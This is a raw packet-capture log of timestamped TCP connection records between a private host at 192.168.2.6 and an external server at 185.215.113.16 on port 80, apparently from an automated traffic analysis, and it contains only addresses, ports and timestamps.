Jul 27, 2024 03:19:21.794625998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794631958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794641018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794656038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794661045 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794671059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794682980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794684887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794698000 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794698954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794713974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794734955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794755936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794770002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794784069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794791937 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794797897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794805050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794819117 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794832945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794859886 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794873953 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794888020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794897079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794902086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794910908 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794928074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794941902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.794964075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794976950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.794991970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.795001030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.795006037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.795013905 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.795021057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.795027018 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.795036077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.795042038 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.795056105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.795073032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843065977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843107939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843123913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843130112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843142986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843158960 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843208075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843223095 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843239069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843245983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843257904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843262911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843271971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843300104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843396902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843410969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843425035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843461037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843475103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843475103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843476057 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843492985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843507051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843517065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843528032 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843530893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843544960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843553066 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843560934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843581915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843590021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843727112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843740940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843755007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843769073 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843775034 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843791008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843811989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843910933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843952894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843955994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.843976021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843990088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.843991041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844006062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844011068 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844022989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844027042 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844041109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844063044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844069958 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844108105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844517946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844532967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844547033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844564915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844571114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844577074 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844585896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844599962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844607115 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844615936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844629049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844654083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844722986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844738007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844753027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844767094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844780922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844789028 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844789028 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844795942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844799995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844811916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844820023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844820023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844831944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844850063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844851017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844871044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844873905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844891071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844898939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844904900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844919920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844928026 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844958067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.844961882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844975948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.844990969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845007896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845021963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845104933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845118999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845133066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845138073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845138073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845138073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845148087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845159054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845159054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845163107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845175982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845176935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845194101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845197916 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845216036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845222950 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845230103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845249891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845272064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845498085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845511913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845526934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845540047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845550060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845556974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845565081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845578909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845593929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.845613956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845613956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.845637083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.854990005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.855005980 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.855021000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.855042934 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.855053902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.855061054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.855071068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.855086088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.855091095 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.855099916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.855114937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.855120897 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.855149031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.855164051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.881855011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.881882906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.881899118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.881913900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.881923914 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.881932020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.881957054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.881958008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.881969929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.881982088 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.881993055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.881995916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882014990 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882020950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882030010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882035971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882050991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882055044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882067919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882069111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882085085 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882086039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882100105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882101059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882118940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882126093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882133007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882141113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882162094 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882165909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882174969 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882179976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882195950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882208109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882210970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882225990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882231951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882268906 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882272959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882287979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882303953 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882308006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882328033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882332087 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882343054 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882359028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882361889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882376909 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882384062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882400036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882400990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882412910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882417917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882433891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882447958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882489920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882504940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882522106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882523060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882536888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882544994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882550001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.882561922 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882575989 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.882589102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930530071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930579901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930588007 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930593967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930613041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930627108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930665970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930680990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930697918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930701017 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930711985 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930715084 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930727959 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930728912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930742025 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930763006 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930876970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930891991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930907965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930917978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930931091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930933952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930947065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930949926 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930962086 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930964947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930978060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.930988073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.930999041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931004047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931020975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931025028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931035995 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931049109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931061029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931072950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931082964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931087971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931103945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931103945 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931118965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931135893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931143045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931159019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931180954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931195021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931410074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931433916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931441069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931454897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931466103 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931478977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931493998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931499958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931509018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931514978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931524992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931538105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931545019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931552887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931560993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931561947 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931581020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931607008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931639910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931654930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931672096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931698084 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931719065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931725979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931782007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931798935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931807995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931823015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931828022 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931858063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931907892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931922913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931936979 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931950092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.931952000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.931976080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932003975 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932569981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932584047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932598114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932611942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932626963 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:21.932631016 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932672977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:21.932672977 CEST	80	49713	185.215.113.16	192.168.2.6
